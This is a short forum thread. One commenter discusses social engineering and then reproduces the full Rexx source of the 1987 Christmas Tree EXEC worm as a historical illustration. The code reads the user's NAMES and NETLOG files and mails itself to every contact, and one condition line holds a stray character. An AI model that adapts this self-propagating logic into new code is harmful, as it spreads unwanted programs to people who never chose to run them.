[cynwoody]

What the author describes is a social engineering attack. You can install as strong a lock on the door as you want, but if the hacker can persuade the user to open the door, you lose!

I did like his little appendix on root escalation via patience.

Macs, by the way, are also vulnerable to the attack described. However, there is one additional level of protection: You get a warning the first time you run something downloaded from the internet. You can ignore it of course, but you do get the warning. Social engineering, remember.

The more things change, the more they stay the same. One of the original computer worms was the famous Christmas Tree EXEC of 1987, which shut down IBM's internal network by flooding it with traffic. It was written in Rexx, not bash/Python, but, like what the article describes, it depended on social engineering. It was sent to victims using the system's email facility. When a user chose to run it, it would draw a cute Christmas tree on the 3270 display and then send itself to everybody in the user's contact list.

Here's the code:

/*********************/
/*    LET THIS EXEC  */
/*		     */
/*	  RUN	     */
/*		     */
/*	  AND	     */
/*		     */
/*	 ENJOY	     */
/*		     */
/*     YOURSELF!     */
/*********************/
'VMFCLEAR'
SAY '                *               '
SAY '                *               '
SAY '               ***              '
SAY '              *****             '
SAY '             *******            '
SAY '            *********           '
SAY '          *************                A'
SAY '             *******            '
SAY '           ***********                VERY'
SAY '         ***************        '
SAY '       *******************            HAPPY'
SAY '           ***********          '
SAY '         ***************            CHRISTMAS'
SAY '       *******************      '
SAY '     ***********************         AND MY'
SAY '         ***************        '
SAY '       *******************         BEST WISHES'
SAY '     ***********************    '
SAY '   ***************************     FOR THE NEXT'
SAY '             ******             '
SAY '             ******                    YEAR'
SAY '             ******               '
/*     browsing this file is no fun at all
       just type CHRISTMAS from cms */
dropbuf
makebuf
"q t (stack"
  pull d1 d2 d3 d4 d5 dat
  pull zeile
  jeah = substr(dat,7,2)
  tack = substr(dat,4,2)
  mohn = substr(dat,1,2)
if jeah <= 88 then do
if mohn <2 ] mohn = 12 then do
DROPBUF
MAKEBUF
"IDENTIFY ( FIFO"
PULL WER VON WO IST REST
DROPBUF
MAKEBUF
"EXECIO * DISKR " WER " NAMES A (FIFO"
 DO WHILE QUEUED() > 0
    PULL NICK NAME ORT
    NAM = INDEX(NAME,'.')+1
    IF NAM > 0 THEN DO
       NAME = SUBSTR(NAME,NAM)
    END
    NAM = INDEX(ORT,'.')+1
    IF NAM > 0 THEN DO
       ORT  = SUBSTR(ORT,NAM)
    END
    IF LENGTH(NAME)>0 THEN DO
       IF LENGTH(ORT) = 0 THEN DO
	  ORT = WO
       END
       if name ^= "RELAY" then do
       "SF CHRISTMAS EXEC A " NAME " AT " ORT " (ack"
       end
    END
 END
DROPBUF
MAKEBUF
ANZ = 1
"EXECIO * DISKR " WER " NETLOG A (FIFO"
 DO WHILE QUEUED() > 0
    PULL KIND FN FT FM ACT FROM ID AT NODE REST
    IF ACT = 'SENT'  THEN DO
       IF ANZ = 1 THEN DO
	 OK.ANZ = ID
       END
       IF ANZ > 1 THEN DO
	 OK.ANZ = ID
	 NIXIS = 0
	 DO I = 1 TO ANZ-1
	    IF OK.I = ID THEN DO
	       NIXIS = 1
	    END
	 END
       END
       ANZ = ANZ + 1
       IF NIXIS = 0 THEN DO
       "SF CHRISTMAS EXEC A " ID " AT " NODE " (ack"
       END
    END
 END
DROPBUF
END
end
end

[Ernest_at_the_Beach]

I remember hearing about that....